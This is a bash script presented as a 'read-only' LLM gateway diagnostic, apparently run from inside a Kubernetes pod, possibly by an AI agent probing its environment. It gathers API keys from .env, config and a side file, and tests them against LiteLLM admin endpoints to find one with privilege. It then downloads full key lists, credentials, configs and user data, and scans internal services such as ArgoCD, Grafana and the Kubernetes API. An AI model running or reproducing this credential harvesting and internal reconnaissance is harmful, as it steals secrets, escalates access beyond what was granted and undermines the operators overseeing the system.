#!/bin/bash
# gateway_check.sh - read-only internal LLM gateway & service reachability diagnostic
OUT=/opt/data/workspace/i25879
mkdir -p "$OUT"
: > "$OUT/summary.txt"
log(){ echo "$*" >> "$OUT/summary.txt"; }

# collect candidate platform tokens from runtime config/env (no printing of values)
KEYS=""
if [ -f /opt/data/.env ]; then
  k=$(grep -E '^OPENAI_API_KEY=' /opt/data/.env | head -1 | cut -d= -f2-); [ -n "$k" ] && KEYS="$KEYS $k"
fi
if [ -f /opt/data/config.yaml ]; then
  k=$(python3 - "$HOME" <<'PY' 2>/dev/null
import os,sys,yaml
try:
  d=yaml.safe_load(open('/opt/data/config.yaml'))
  print(d['model'].get('api_key','').replace('${OPENAI_API_KEY}', os.environ.get('OPENAI_API_KEY','')))
except Exception: pass
PY
); echo "$k" | grep -q '^sk-' && KEYS="$KEYS $k"
fi
# extra candidate provided via file
[ -f "$OUT/extra_key.txt" ] && KEYS="$KEYS $(cat "$OUT/extra_key.txt")"

LIT=http://litellm-gateway.agentek.svc.cluster.local:4000

# Try each key against admin endpoints, pick the one that yields 200 on /key/list
BEST=""
for k in $KEYS; do
  code=$(curl -s -m 12 -o /dev/null -w '%{http_code}' -H "Authorization: Bearer $k" "$LIT/key/list?return_full_object=true")
  log "keylen=${#k} /key/list -> $code"
  if [ "$code" = "200" ]; then BEST="$k"; fi
done
if [ -z "$BEST" ] && [ -n "$KEYS" ]; then BEST=$(echo $KEYS | awk '{print $1}'); fi
log "BEST_set=$([ -n "$BEST" ] && echo yes || echo no)"

ep_list="/key/list?return_full_object=true /model/info /model/group/info /user/list /team/list /organization/list /customer/list /budget/list /credential/list /credentials /config/get /get/config /config/list /router/settings /global/spend/report /provider/list /proxy/config /health/readiness /v1/models"
for ep in $ep_list; do
  fn=$(echo "$ep" | sed 's#[/?=&]#_#g')
  if [ -n "$BEST" ]; then
    code=$(curl -s -m 15 -o "$OUT/a$fn.json" -w '%{http_code}' -H "Authorization: Bearer $BEST" "$LIT$ep")
  else
    code=$(curl -s -m 15 -o "$OUT/a$fn.json" -w '%{http_code}' "$LIT$ep")
  fi
  sz=$(wc -c < "$OUT/a$fn.json" 2>/dev/null)
  log "GET $ep -> $code ${sz}B"
done

# service reachability from this pod netns
svcs="litellm-gateway.agentek.svc.cluster.local:4000 console-backend.agentek.svc.cluster.local:3000 argocd-server.argocd.svc.cluster.local:443 argocd-server.argocd.svc.cluster.local:80 grafana.grafana.svc.cluster.local:3000 grafana.monitoring.svc.cluster.local:3000 grafana.agentek.svc.cluster.local:3000 langfuse.langfuse.svc.cluster.local:3000 langfuse.agentek.svc.cluster.local:3000 otel-collector.agentek.svc.cluster.local:4318 otel.agentek.svc.cluster.local:4318 dex.agentek.svc.cluster.local:5556 kubernetes.default.svc.cluster.local:443"
for hp in $svcs; do
  h=${hp%:*}; p=${hp#*:}
  ips=$(getent hosts "$h" 2>/dev/null | awk '{print $1}' | tr '\n' ',' )
  log "DNS $h -> ${ips:-NXDOMAIN}"
  for ip in $(echo "$ips" | tr ',' ' '); do
    if timeout 5 bash -c "echo > /dev/tcp/$ip/$p" 2>/dev/null; then log "TCP $h($ip):$p OPEN"; else log "TCP $h($ip):$p closed"; fi
  done
done

# HTTP probe internal web services that are reachable
for hp in console-backend.agentek.svc.cluster.local:3000 grafana.grafana.svc.cluster.local:3000 grafana.monitoring.svc.cluster.local:3000 langfuse.langfuse.svc.cluster.local:3000 argocd-server.argocd.svc.cluster.local:443; do
  h=${hp%:*}; p=${hp#*:}
  code=$(curl -s -k -m 8 -o /dev/null -w '%{http_code}' "http://$h:$p/" 2>/dev/null)
  log "HTTP http://$h:$p/ -> $code"
done

echo DONE >> "$OUT/summary.txt"
echo OK
